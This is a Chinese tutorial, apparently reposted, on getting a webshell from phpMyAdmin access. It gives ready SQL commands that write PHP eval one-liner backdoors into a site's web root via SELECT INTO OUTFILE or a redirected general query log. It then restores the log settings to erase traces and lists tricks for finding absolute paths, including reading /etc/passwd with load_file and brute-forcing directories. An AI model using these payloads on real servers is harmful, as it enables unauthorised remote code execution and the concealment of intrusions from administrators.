phpmyadmin頁面getshell


0x00 前言

 

來到phpmyadmin頁面后如何getshell呢?下面介紹兩種方法

 

 

 

 

0x01 select into outfile直接寫入

 

1、利用條件

 

  • 對web目錄需要有寫權限能夠使用單引號(root)

  • 知道網站絕對路徑(phpinfo/php探針/通過報錯等)

  • secure_file_priv沒有具體值

 

2、查看secure_file_priv值

 

show global variables like '%secure%';

 

 

關於secure_file_priv配置介紹:

 

secure_file_priv 是用來限制 load dumpfile、into outfile、load_file() 函數在哪個目錄下擁有上傳或者讀取文件的權限

 

當 secure_file_priv 的值為 NULL ,表示限制 mysqld 不允許導入|導出,此時無法提權
當 secure_file_priv 的值為 /tmp/ ,表示限制 mysqld 的導入|導出只能發生在 /tmp/ 目錄下,此時也無法提權
當 secure_file_priv 的值沒有具體值時,表示不對 mysqld 的導入|導出做限制,此時可提權

 

我這里的secure_file_priv值為NULL,所以不能夠導入或導出

 

 

secure_file_priv這個值是只讀變量,只能通過配置文件修改。如果管理員沒有配置,那么我們是無法進行寫入shell的,這里我為了測試能否寫入修改一下

 

在MySQL的配置文件my.ini中進行配置:

 

 

修改后secure_file_priv的值如圖所示:

 

 

3、寫入一句話

 

select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'

 

這里需要注意的一個點是路徑需要用"\\"

 

 

查看下根目錄

 

 

0x02 利用全局日志寫shell

 

1、查看配置

 

查看mysql的日志狀態,默認是關閉的,因為這個日志的量非常大對資源是一個比較大的開銷

 

SHOW VARIABLES LIKE '%general%'

 

general_log_file為日志保存的位置

 

 

2、開啟general_log模式

 

開啟general_log 的作用:開啟它可以記錄用戶輸入的每條命令,會把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其實就是我們常說的日志文件


利用思路:開啟general_log之后把general_log_file的值修改為該網站默認路徑下的某一個自定義的php文件中,然后通過log日志進行寫入一句話木馬,然后再進一步利用

這里注意:在修改log路徑前,源路徑一定要提前記錄下來,我們獲取shell后還要恢復原來的路徑

 

set global general_log = on;

 

 

再查看一下日志已經開啟,這時我們就可以通過全局日志寫shell進根目錄

 

 

3、修改日志目錄為shell地址

 

set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';

 

 

4、寫入shell

 

因為開啟了日志記錄功能,所執行的sql語句都會被記錄在日志中

 

select '<?php eval($_POST[cmd]);?>'

 

 

查看下日志,發現sql語句已經被記錄到了日志中,直接用菜刀或者蟻劍連接即可

 

 

5、抹除痕跡

 

set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
set global general_log = off;

 

 

 

再使用日志查看命令發現已經恢復

 

SHOW VARIABLES LIKE '%general%'

 

 

0x03 拓展

 

這里有一個地方需要注意的是需要寫入到絕對路徑,而在php環境下有許多種得知絕對路徑的方法,以下就簡單拓展幾種

 

0x03.1 phpinfo頁面

 

這里是之前在復現帝國cms的getshell漏洞時所需要用到絕對路徑寫入sql語句,這里我先打出了phpinfo界面

 

 

F12查看源代碼然后搜索DOCUMENT ROOT得知寫入的絕對路徑

 

 

0x03.2 web報錯信息

 

web報錯信息:可以通過各種fuzz嘗試讓目標報錯,也有可能爆出絕對路徑

 

0x03.3 一些集成的web框架

 

如果目標站點是利用phpstudy、LAMPP等之類搭建的,可以通過查看數據庫路徑再拆解web路徑

 

show variables like '%datadir%';

 

0x03.4 利用select load_file() 讀取文件找到web路徑

 

可以嘗試/etc/passwd,apache|nginx|httpd log之類的文件

 

Trick:如何判斷目錄是否存在,往往確定了/var/www/html目錄,但是還有一層目錄不能 確定,可以采用目標域名+常用的網站根目錄的方式進行爆破,當使用select 'test' into outfile '/var/www/$fuzz$/shell.php';時目錄fuzzfuzz不存在將會報錯

 

Can't create/write to file '/var/www/html/666.txt' (Errcode: 2);

 

如果存在但是目錄寫不進去將返回(Errcode: 13);如果使用的

 

load data infile "/etc/passwd" into table test;

該語句執行后將也會顯示文件是否存在,有權限能否寫等信息。

 

0x03.5 其他方法

 

1.查看數據庫表內容獲取 有一些cms會保存網站配置文件 或者路徑

 

2.進入后台

 

3.百度出錯信息 zoomeye shadon 搜索error warning

 

4. @@datadir參數看mysql路徑 反猜絕對路徑

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM